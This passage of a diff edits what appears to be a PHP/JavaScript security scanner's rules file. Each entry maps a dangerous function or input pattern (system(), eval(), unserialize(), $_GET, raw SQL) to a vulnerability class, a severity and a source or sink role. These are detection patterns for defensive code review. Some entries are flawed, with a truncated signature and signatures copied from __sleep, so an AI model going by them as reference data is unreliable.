execution.", - "proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource", - "Code Injection", - "high", - "sink" - ], - "pcntl_exec()": [ - "Executes the program with the given arguments.", - "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", - "RCE", - "critical", - "sink" - ], - "extract()": [ - "Import variables into the current symbol table from an array", - "extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int", - "Code Injection", - "high", - "sink" - ], - "ini_set()": [ - "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", - "ini_set ( string $varname , string $newvalue ) : string", - "PHP Interpreter behavior change; application settings overwrite", - "low" - ], - "mail()": [ - "Sends an email.", - "mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] ) : bool", - "Arbitrary mail sending", - "low", - "sink" - ], - "echo": [ - "Outputs all parameters. No additional newline is appended.", - "echo ( string $arg1 [, string $... ] ) : void", - "XSS, HTML Injection, Content Injection etc.", - "low" - ], - "unserialize()": [ - "unserialize() takes a single serialized variable and converts it back into a PHP value.", - "unserialize ( string $str [, array $options ] ) : mixed", - "Code Injection, RCE (in certain conditions)", - "high", - "sink" - ], - "assert()": [ - "assert() will check the given assertion and take appropriate action if its result is FALSE. If the assertion is given as a string it will be evaluated as PHP code by assert() - ONLY PNP <7.2.0", - "assert ( mixed $assertion [, string $description ] ) : bool (PHP 5,7) assert ( mixed $assertion [, Throwable $exception ] ) : bool (PHP 7)", - "RCE, Code Injection (in certain conditions)", - "low" - ], - "call_user_func()": [ - "Calls the callback given by the first parameter and passes the remaining parameters as arguments.", - "call_user_func ( callable $callback [, mixed $... ] ) : mixed", - "Code Injection", - "high", - "sink" - ], - "ereg_replace()": [ - "This function scans string for matches to pattern, then replaces the matched text with replacement (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0.)", - "ereg_replace ( string $pattern , string $replacement , string $string ) : string", - "Code Injection", - "low", - "sink" - ], - "eregi_replace()": [ - "This function is identical to ereg_replace() except that this ignores case distinction when matching alphabetic characters. (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0)", - "eregi_replace ( string $pattern , string $replacement , string $string ) : string", - "Code Injection", - "low", - "sink" - ], - "mb_ereg_replace()": [ - "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", - "mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = \"msr\" ] ) : string", - "Code Injection", - "low", - "sink" - ], - "mb_eregi_replace()": [ - "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", - "mb_eregi_replace ( string $pattern , string $replace , string $string [, string $option = \"msri\" ] ) : string", - "Code Injection", - "low", - "sink" - ], - "virtual()": [ - "Perform an Apache sub-request (calls url passed as an argument). This function is supported when PHP is installed as an Apache module or by the NSAPI server module", - "virtual ( string $filename ) : bool", - "Local File Include, Remote File Include", - "low", - "sink" - ], - "readfile()": [ - "Reads a file and writes it to the output buffer.", - "readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int", - "Code Injection, LFI, RFI", - "high", - "source" - ], - "file_get_contents()": [ - "This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.", - "file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string", - "Code Injection, LFI, RFI", - "high", - "source" - ], - "show_source()": [ - "(Alias for highlight_file()) Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", - "show_source ( string $filename [, bool $return = FALSE ] ) : mixed", - "Information Disclosure", - "low", - "source" - ], - "highlight_file()": [ - "Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", - "highlight_file ( string $filename [, bool $return = FALSE ] ) : mixed", - "Information Disclosure", - "low", - "source" - ], - "fopen()": [ - "fopen() binds a named resource, specified by filename, to a stream.", - "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", - "Code Injection, LFI, RFI", - "low", - "source" - ], - "file()": [ - "Reads an entire file into an array.", - "ile ( string $filename [, int $flags = 0 [, resource $context ]] ) : array", - "Code Injection, LFI, RFI", - "low", - "source" - ], - "fpassthru()": [ - "Reads to EOF on the given file pointer from the current position and writes the results to the output buffer.", - "fpassthru ( resource $handle ) : int", - "Code Injection, LFI, RFI, RCE (depending on the context)", - "low", - "sink" - ], - "fsockopen()": [ - "Initiates a socket connection to the resource specified by hostname.", - "fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get(\"default_socket_timeout\") ]]]] ) : resource", - "RCE (depends on context)", - "low", - "sink" - ], - "gzopen()": [ - "Opens a gzip (.gz) file for reading or writing.", - "gzopen ( string $filename , string $mode [, int $use_include_path = 0 ] ) : resource", - "Code Injection, LFI (depends on context)", - "low", - "sink" - ], - "gzread()": [ - "gzread() reads up to length bytes from the given gz-file pointer. Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.", - "gzread ( resource $zp , int $length ) : string", - "Code Injection, LFI", - "low", - "sink" - ], - "gzfile()": [ - "Read entire gz-file into an array. This function is identical to readgzfile(), except that it returns the file in an array.", - "gzfile ( string $filename [, int $use_include_path = 0 ] ) : array", - "Code Injection, LFI", - "low", - "sink" - ], - "gzpassthru()": [ - "Output all remaining data on a gz-file pointer. Reads to EOF on the given gz-file pointer from the current position and writes the (uncompressed) results to standard output.", - "gzpassthru ( resource $zp ) : int", - "Code Injection, LFI", - "low", - "sink" - ], - "readgzfile()": [ - "Output a gz-file. Reads a file, decompresses it and writes it to standard output.", - "readgzfile ( string $filename [, int $use_include_path = 0 ] ) : int", - "Code Injection, LFI, RCE", - "medium", - "sink" - ], - "mssql_query()": [ - "Send MS SQL query to the currently active database on the server that's associated with the specified link identifier. This function was REMOVED in PHP 7.0.0.", - "mssql_query ( string $query [, resource $link_identifier [, int $batch_size = 0 ]] ) : mixed", - "SQL Injection", - "high" - ], - "odbc_exec()": [ - "Sends an SQL statement to the database server.", - "odbc_exec ( resource $connection_id , string $query_string [, int $flags ] ) : resource", - "SQL Injection", - "high", - "sink" - ], - "sqlsrv_query()": [ - "Prepares and executes a query", - "sqlsrv_query ( resource $conn , string $sql [, array $params [, array $options ]] ) : mixed", - "SQL Injection", - "medium", - "sink" - ], - "PDO::query()": [ - "PDO::query() executes an SQL statement in a single function call, returning the result set (if any) returned by the statement as a PDOStatement object.", - "public PDO::query ( string $statement , int $PDO::FETCH_CLASS , string $classname , array $ctorargs ) : PDOStatement", - "SQL Injection", - "medium", - "sink" - ], - "move_uploaded_file()": [ - "This function checks to ensure that the file designated by filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). If the file is valid, it will be moved to the filename given by destination.", - "move_uploaded_file ( string $filename , string $destination ) : bool", - "File Include", - "low", - "sink" - ], - "print()": [ - "Outputs arg. print is not actually a real function (it is a language construct) so you are not required to use parentheses with its argument list.", - "print ( string $arg ) : int", - "XSS, Content/HTML Injection", - "low", - "sink" - ], - "printf()": [ - "Produces output according to format.", - "printf ( string $format [, mixed $... ] ) : int", - "XSS, Content/HTML Injection", - "low", - "sink" - ], - "ldap_search()": [ - "Performs the search for a specified filter on the directory with the scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.", - "ldap_search ( resource $link_identifier , string $base_dn , string $filter [, array $attributes = array() [, int $attrsonly = 0 [, int $sizelimit = -1 [, int $timelimit = -1 [, int $deref = LDAP_DEREF_NEVER [, array $serverctrls = array() ]]]]]] ) : resource", - "unknown?", - "low" - ], - "header()": [ - "Send a raw HTTP header", - "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", - "Header Injection, Open Redirect", - "low", - "sink" - ], - "sqlite_query()": [ - "SQLiteDatabase::query - Executes a query against a given database and returns a result handle", - "sqlite_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] ) : resource", - "SQL Injection", - "medium", - "sink" - ], - "pg_query()": [ - "pg_query() executes the query on the specified database connection. pg_query_params() should be preferred in most cases.", - "pg_query ([ resource $connection ], string $query ) : resource", - "SQL Injection", - "medium", - "sink" - ], - "mysql_query()": [ - "mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier.(deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0)", - "mysql_query ( string $query [, resource $link_identifier = NULL ] ) : mixed", - "SQL Injection", - "high", - "sink" - ], - "mysqli_query()": [ - "Performs a query against the database.", - "mysqli_query ( mysqli $link , string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", - "SQL Injection", - "medium", - "sink" - ], - "mysqli::query()": [ - "Performs a query against the database.", - "mysqli::query ( string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", - "SQL Injection", - "medium", - "sink" - ], - "apache_setenv()": [ - "Sets the value of the Apache environment variable specified by variable.", - "apache_setenv ( string $variable , string $value [, bool $walk_to_top = FALSE ] ) : bool", - "ENV server variables overwrite", - "low", - "sink" - ], - "dl()": [ - "Loads a PHP extension at runtime", - "dl ( string $library ) : bool", - "Code Injection, RCE (in certain conditions)", - "low", - "sink" - ], - "escapeshellarg()": [ - "Escape a string to be used as a shell argument", - "escapeshellarg ( string $arg ) : string", - "", - "low" - ], - "escapeshellcmd()": [ - "Escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands", - "escapeshellcmd ( string $command ) : string", - "", - "low" - ], - "get_cfg_var()": [ - "Gets the value of a PHP configuration option", - "get_cfg_var ( string $option ) : mixed", - "Information Disclosure", - "low" - ], - "get_current_user()": [ - "Gets the name of the owner of the current PHP script", - "get_current_user ( void ) : string", - "Information Disclosure", - "low" - ], - "getcwd()": [ - "Gets the current working directory", - "getcwd ( void ) : string", - "Information Disclosure", - "low" - ], - "getenv()": [ - " Gets the value of an environment variable", - "getenv ( string $varname [, bool $local_only = FALSE ] ) : string", - "Information Disclosure", - "low" - ], - "php_uname()": [ - "Returns information about the operating system PHP is running on", - "php_uname ([ string $mode = \"a\" ] ) : string", - "Information Disclosure", - "low" - ], - "phpinfo()": [ - "Outputs information about PHP's configuration", - "phpinfo ([ int $what = INFO_ALL ] ) : bool", - "Information Disclosure", - "medium" - ], - "putenv()": [ - "Adds setting to the server environment. The environment variable will only exist for the duration of the current request. At the end of the request the environment is restored to its original state.", - "putenv ( string $setting ) : bool", - "ENV variable create/owerwrite", - "low", - "sink" - ], - "symlink()": [ - "Creates a symbolic link to the existing target with the specified name link.", - "symlink ( string $target , string $link ) : bool", - "LFI (in certain conditions)", - "low" - ], - "syslog()": [ - "Generate a system log message", - "syslog ( int $priority , string $message ) : bool", - "Log poisoning", - "low" - ], - "curl_exec()": [ - "Execute the given cURL session. This function should be called after initializing a cURL session and all the options for the session are set.", - "curl_exec ( resource $ch ) : mixed", - "SSRF", - "medium", - "sink" - ], - "__destruct()": [ - "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", - "__destruct ( void ) : void", - "Object Injection; RCE via unserialize() + POP gadget chain", - "high", - "sink" - ], - "__wakeup()": [ - "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", - "__wakeup ( void ) : void", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__sleep()": [ - "serialize() checks if your class has a function with the magic name __sleep(). If so, that function is executed prior to any serialization", - "public __sleep ( void ) : array", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__serialize()": [ - "checks if the class has a function with the magic name __serialize(). If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown.", - "public __sleep ( void ) : array", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__unserialize()": [ - "checks for the presence of a function with the magic name __unserialize(). If present, this function will be passed the restored array that was returned from __serialize(). It may then restore the properties of the object from that array as appropriate.", - "public __sleep ( void ) : array", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__call()": [ - "Triggered when invoking inaccessible methods in an object context", - "public __call ( string $name , array $arguments ) : mixed", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__get()": [ - "Is utilized for reading data from inaccessible (protected or private) or non-existing properties.", - "public __get ( string $name ) : mixed", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__set()": [ - "Is run when writing data to inaccessible (protected or private) or non-existing properties.", - "public __set ( string $name, mixed $value ) : void", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__callStatic()": [ - "Triggered when invoking inaccessible methods in a static context.", - "public static __callStatic ( string $name , array $arguments ) : mixed", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "filter_var()": [ - "Filters a variable with a specified filter", - "filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed", - "Validation bypass (in certain conditions)", - "low" - ], - "file_put_contents()": [ - "Write data to a file", - "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", - "Arbitrary file write", - "high", - "source" - ], - "extractTo(": [ - "Extract the complete archive or the given files to the specified destination. The default permissions for extracted files and directories give the widest possible access.", - "public ZipArchive::extractTo(string $pathto, array|string|null $files = null): bool", - "Arbitrary file write", - "medium", - "source" - ], - "SELECT.*FROM": [ - "SQL syntax found.", - "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", - "SQL Injection", - "medium", - "source" - ], - "INSERT.*INTO": [ - "SQL syntax found.", - "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", - "SQL Injection", - "medium", - "source" - ], - "UPDATE.*": [ - "SQL syntax found.", - "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", - "SQL Injection", - "medium", - "source" - ], - "DELETE.*FROM": [ - "SQL syntax found.", - "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", - "SQL Injection", - "medium", - "source" - ], - "$_POST": [ - "$_POST reference found", - "", - "", - "critical", - "source" - ], - "$_GET": [ - "$_GET reference found", - "", - "", - "critical", - "source" - ], - "$_REQUEST": [ - "$_REQUEST reference found", - "", - "", - "critical", - "source" - ], - "$_FILES": [ - "$_FILES reference found", - "", - "", - "high", - "source" - ], - "$_ENV": [ - "$_ENV reference found", - "", - "", - "medium", - "source" - ], - "$_COOKIES": [ - "$_COOKIES reference found", - "", - "", - "high", - "source" - ], - "$_SESSION": [ - "$_SESSION reference found", - "", - "", - "medium", - "source" - ], - "$_SERVER": [ - "$_SERVER reference found", - "", - "", - "medium", - "source" - ] + "javascript": { + "eval()": [ + "The eval() function evaluates JavaScript code represented as a string and returns its completion value. The source is parsed as a script.", + "eval(script)", + "RCE", + "critical", + "sink" + ] + }, + "php": { + "`": [ + "Allows to execute system command", + "`$command`", + "RCE", + "critical", + "sink" + ], + "system()": [ + "Allows to execute system command passed as an argument", + "system ( string $command [, int &$return_var ] ) : string", + "RCE", + "critical", + "sink" + ], + "exec()": [ + "exec - Execute an external program", + "exec ( string $command [, array &$output [, int &$return_var ]] ) : string", + "RCE", + "critical", + "sink" + ], + "call_user_func_array()": [ + "Call a callback with an array of parameters", + "call_user_func_array ( callable $callback , array $param_arr ) : mixed", + "RCE", + "high", + "sink" + ], + "parse_url()": [ + "parse_url — Parse a URL and return its components", + "parse_url(string $url, int $component = -1): mixed", + "SSRF, Filter Bypass", + "medium", + "sink" + ], + "parse_str()": [ + "when parse_str(arg, [target]) parses URL-like string, it sets variables in current scope WITHOUT initializing it", + "parse_str ( string $encoded_string [, array &$result ] ) : void" + "Code Injection", + "high", + "sink" + ], + "eval()": [ + "Evaluate a string as PHP code", + "eval ( string $code ) : mixed", + "RCE", + "critical", + "sink" + ], + "preg_replace()": [ + "Perform a regular expression search and replace. Searches subject for matches to pattern and replaces them with replacement", + "preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed", + "RCE (in certain conditions)", + "medium" + ], + "create_function()": [ + "DEPRECATED as of PHP 7.2.0 - Create an anonymous (lambda-style) function. Creates an anonymous function from the parameters passed, and returns a unique name for it.", + "create_function ( string $args , string $code ) : string", + "Code Injection, RCE", + "medium", + "sink" + ], + "passthru()": [ + "Execute an external program and display raw output", + "passthru ( string $command [, int &$return_var ] ) : void", + "RCE", + "critical", + "sink" + ], + "shell_exec()": [ + "Execute command via shell and return the complete output as a string. This function is identical to the backtick operator.", + "shell_exec ( string $cmd ) : string", + "RCE", + "critical", + "sink" + ], + "popen()": [ + "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", + "popen ( string $command , string $mode ) : resource", + "Code Injection", + "critical", + "sink" + ], + "proc_open()": [ + "Execute a command and open file pointers for input/output. proc_open() is similar to popen() but provides a much greater degree of control over the program execution.", + "proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource", + "Code Injection", + "high", + "sink" + ], + "pcntl_exec()": [ + "Executes the program with the given arguments.", + "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", + "RCE", + "critical", + "sink" + ], + "extract()": [ + "Import variables into the current symbol table from an array", + "extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int", + "Code Injection", + "high", + "sink" + ], + "ini_set()": [ + "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", + "ini_set ( string $varname , string $newvalue ) : string", + "PHP Interpreter behavior change; application settings overwrite", + "low" + ], + "mail()": [ + "Sends an email.", + "mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] ) : bool", + "Arbitrary mail sending", + "low", + "sink" + ], + "echo": [ + "Outputs all parameters. No additional newline is appended.", + "echo ( string $arg1 [, string $... ] ) : void", + "XSS, HTML Injection, Content Injection etc.", + "low" + ], + "unserialize()": [ + "unserialize() takes a single serialized variable and converts it back into a PHP value.", + "unserialize ( string $str [, array $options ] ) : mixed", + "Code Injection, RCE (in certain conditions)", + "high", + "sink" + ], + "assert()": [ + "assert() will check the given assertion and take appropriate action if its result is FALSE. If the assertion is given as a string it will be evaluated as PHP code by assert() - ONLY PNP <7.2.0", + "assert ( mixed $assertion [, string $description ] ) : bool (PHP 5,7) assert ( mixed $assertion [, Throwable $exception ] ) : bool (PHP 7)", + "RCE, Code Injection (in certain conditions)", + "low" + ], + "call_user_func()": [ + "Calls the callback given by the first parameter and passes the remaining parameters as arguments.", + "call_user_func ( callable $callback [, mixed $... ] ) : mixed", + "Code Injection", + "high", + "sink" + ], + "ereg_replace()": [ + "This function scans string for matches to pattern, then replaces the matched text with replacement (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0.)", + "ereg_replace ( string $pattern , string $replacement , string $string ) : string", + "Code Injection", + "low", + "sink" + ], + "eregi_replace()": [ + "This function is identical to ereg_replace() except that this ignores case distinction when matching alphabetic characters. (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0)", + "eregi_replace ( string $pattern , string $replacement , string $string ) : string", + "Code Injection", + "low", + "sink" + ], + "mb_ereg_replace()": [ + "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", + "mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = \"msr\" ] ) : string", + "Code Injection", + "low", + "sink" + ], + "mb_eregi_replace()": [ + "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", + "mb_eregi_replace ( string $pattern , string $replace , string $string [, string $option = \"msri\" ] ) : string", + "Code Injection", + "low", + "sink" + ], + "virtual()": [ + "Perform an Apache sub-request (calls url passed as an argument). This function is supported when PHP is installed as an Apache module or by the NSAPI server module", + "virtual ( string $filename ) : bool", + "Local File Include, Remote File Include", + "low", + "sink" + ], + "readfile()": [ + "Reads a file and writes it to the output buffer.", + "readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int", + "Code Injection, LFI, RFI", + "high", + "source" + ], + "file_get_contents()": [ + "This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.", + "file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string", + "Code Injection, LFI, RFI", + "high", + "source" + ], + "show_source()": [ + "(Alias for highlight_file()) Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", + "show_source ( string $filename [, bool $return = FALSE ] ) : mixed", + "Information Disclosure", + "low", + "source" + ], + "highlight_file()": [ + "Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", + "highlight_file ( string $filename [, bool $return = FALSE ] ) : mixed", + "Information Disclosure", + "low", + "source" + ], + "fopen()": [ + "fopen() binds a named resource, specified by filename, to a stream.", + "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", + "Code Injection, LFI, RFI", + "low", + "source" + ], + "file()": [ + "Reads an entire file into an array.", + "ile ( string $filename [, int $flags = 0 [, resource $context ]] ) : array", + "Code Injection, LFI, RFI", + "low", + "source" + ], + "fpassthru()": [ + "Reads to EOF on the given file pointer from the current position and writes the results to the output buffer.", + "fpassthru ( resource $handle ) : int", + "Code Injection, LFI, RFI, RCE (depending on the context)", + "low", + "sink" + ], + "fsockopen()": [ + "Initiates a socket connection to the resource specified by hostname.", + "fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get(\"default_socket_timeout\") ]]]] ) : resource", + "RCE (depends on context)", + "low", + "sink" + ], + "gzopen()": [ + "Opens a gzip (.gz) file for reading or writing.", + "gzopen ( string $filename , string $mode [, int $use_include_path = 0 ] ) : resource", + "Code Injection, LFI (depends on context)", + "low", + "sink" + ], + "gzread()": [ + "gzread() reads up to length bytes from the given gz-file pointer. Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.", + "gzread ( resource $zp , int $length ) : string", + "Code Injection, LFI", + "low", + "sink" + ], + "gzfile()": [ + "Read entire gz-file into an array. This function is identical to readgzfile(), except that it returns the file in an array.", + "gzfile ( string $filename [, int $use_include_path = 0 ] ) : array", + "Code Injection, LFI", + "low", + "sink" + ], + "gzpassthru()": [ + "Output all remaining data on a gz-file pointer. Reads to EOF on the given gz-file pointer from the current position and writes the (uncompressed) results to standard output.", + "gzpassthru ( resource $zp ) : int", + "Code Injection, LFI", + "low", + "sink" + ], + "readgzfile()": [ + "Output a gz-file. Reads a file, decompresses it and writes it to standard output.", + "readgzfile ( string $filename [, int $use_include_path = 0 ] ) : int", + "Code Injection, LFI, RCE", + "medium", + "sink" + ], + "mssql_query()": [ + "Send MS SQL query to the currently active database on the server that's associated with the specified link identifier. This function was REMOVED in PHP 7.0.0.", + "mssql_query ( string $query [, resource $link_identifier [, int $batch_size = 0 ]] ) : mixed", + "SQL Injection", + "high" + ], + "odbc_exec()": [ + "Sends an SQL statement to the database server.", + "odbc_exec ( resource $connection_id , string $query_string [, int $flags ] ) : resource", + "SQL Injection", + "high", + "sink" + ], + "sqlsrv_query()": [ + "Prepares and executes a query", + "sqlsrv_query ( resource $conn , string $sql [, array $params [, array $options ]] ) : mixed", + "SQL Injection", + "medium", + "sink" + ], + "PDO::query()": [ + "PDO::query() executes an SQL statement in a single function call, returning the result set (if any) returned by the statement as a PDOStatement object.", + "public PDO::query ( string $statement , int $PDO::FETCH_CLASS , string $classname , array $ctorargs ) : PDOStatement", + "SQL Injection", + "medium", + "sink" + ], + "move_uploaded_file()": [ + "This function checks to ensure that the file designated by filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). If the file is valid, it will be moved to the filename given by destination.", + "move_uploaded_file ( string $filename , string $destination ) : bool", + "File Include", + "low", + "sink" + ], + "print()": [ + "Outputs arg. print is not actually a real function (it is a language construct) so you are not required to use parentheses with its argument list.", + "print ( string $arg ) : int", + "XSS, Content/HTML Injection", + "low", + "sink" + ], + "printf()": [ + "Produces output according to format.", + "printf ( string $format [, mixed $... ] ) : int", + "XSS, Content/HTML Injection", + "low", + "sink" + ], + "ldap_search()": [ + "Performs the search for a specified filter on the directory with the scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.", + "ldap_search ( resource $link_identifier , string $base_dn , string $filter [, array $attributes = array() [, int $attrsonly = 0 [, int $sizelimit = -1 [, int $timelimit = -1 [, int $deref = LDAP_DEREF_NEVER [, array $serverctrls = array() ]]]]]] ) : resource", + "unknown?", + "low" + ], + "header()": [ + "Send a raw HTTP header", + "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", + "Header Injection, Open Redirect", + "low", + "sink" + ], + "sqlite_query()": [ + "SQLiteDatabase::query - Executes a query against a given database and returns a result handle", + "sqlite_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] ) : resource", + "SQL Injection", + "medium", + "sink" + ], + "pg_query()": [ + "pg_query() executes the query on the specified database connection. pg_query_params() should be preferred in most cases.", + "pg_query ([ resource $connection ], string $query ) : resource", + "SQL Injection", + "medium", + "sink" + ], + "mysql_query()": [ + "mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier.(deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0)", + "mysql_query ( string $query [, resource $link_identifier = NULL ] ) : mixed", + "SQL Injection", + "high", + "sink" + ], + "mysqli_query()": [ + "Performs a query against the database.", + "mysqli_query ( mysqli $link , string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", + "SQL Injection", + "medium", + "sink" + ], + "mysqli::query()": [ + "Performs a query against the database.", + "mysqli::query ( string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", + "SQL Injection", + "medium", + "sink" + ], + "apache_setenv()": [ + "Sets the value of the Apache environment variable specified by variable.", + "apache_setenv ( string $variable , string $value [, bool $walk_to_top = FALSE ] ) : bool", + "ENV server variables overwrite", + "low", + "sink" + ], + "dl()": [ + "Loads a PHP extension at runtime", + "dl ( string $library ) : bool", + "Code Injection, RCE (in certain conditions)", + "low", + "sink" + ], + "escapeshellarg()": [ + "Escape a string to be used as a shell argument", + "escapeshellarg ( string $arg ) : string", + "", + "low" + ], + "escapeshellcmd()": [ + "Escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands", + "escapeshellcmd ( string $command ) : string", + "", + "low" + ], + "get_cfg_var()": [ + "Gets the value of a PHP configuration option", + "get_cfg_var ( string $option ) : mixed", + "Information Disclosure", + "low" + ], + "get_current_user()": [ + "Gets the name of the owner of the current PHP script", + "get_current_user ( void ) : string", + "Information Disclosure", + "low" + ], + "getcwd()": [ + "Gets the current working directory", + "getcwd ( void ) : string", + "Information Disclosure", + "low" + ], + "getenv()": [ + " Gets the value of an environment variable", + "getenv ( string $varname [, bool $local_only = FALSE ] ) : string", + "Information Disclosure", + "low" + ], + "php_uname()": [ + "Returns information about the operating system PHP is running on", + "php_uname ([ string $mode = \"a\" ] ) : string", + "Information Disclosure", + "low" + ], + "phpinfo()": [ + "Outputs information about PHP's configuration", + "phpinfo ([ int $what = INFO_ALL ] ) : bool", + "Information Disclosure", + "medium" + ], + "putenv()": [ + "Adds setting to the server environment. The environment variable will only exist for the duration of the current request. At the end of the request the environment is restored to its original state.", + "putenv ( string $setting ) : bool", + "ENV variable create/owerwrite", + "low", + "sink" + ], + "symlink()": [ + "Creates a symbolic link to the existing target with the specified name link.", + "symlink ( string $target , string $link ) : bool", + "LFI (in certain conditions)", + "low" + ], + "syslog()": [ + "Generate a system log message", + "syslog ( int $priority , string $message ) : bool", + "Log poisoning", + "low" + ], + "curl_exec()": [ + "Execute the given cURL session. This function should be called after initializing a cURL session and all the options for the session are set.", + "curl_exec ( resource $ch ) : mixed", + "SSRF", + "medium", + "sink" + ], + "__destruct()": [ + "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", + "__destruct ( void ) : void", + "Object Injection; RCE via unserialize() + POP gadget chain", + "high", + "sink" + ], + "__wakeup()": [ + "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", + "__wakeup ( void ) : void", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__sleep()": [ + "serialize() checks if your class has a function with the magic name __sleep(). If so, that function is executed prior to any serialization", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__serialize()": [ + "checks if the class has a function with the magic name __serialize(). If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown.", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__unserialize()": [ + "checks for the presence of a function with the magic name __unserialize(). If present, this function will be passed the restored array that was returned from __serialize(). It may then restore the properties of the object from that array as appropriate.", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__call()": [ + "Triggered when invoking inaccessible methods in an object context", + "public __call ( string $name , array $arguments ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], 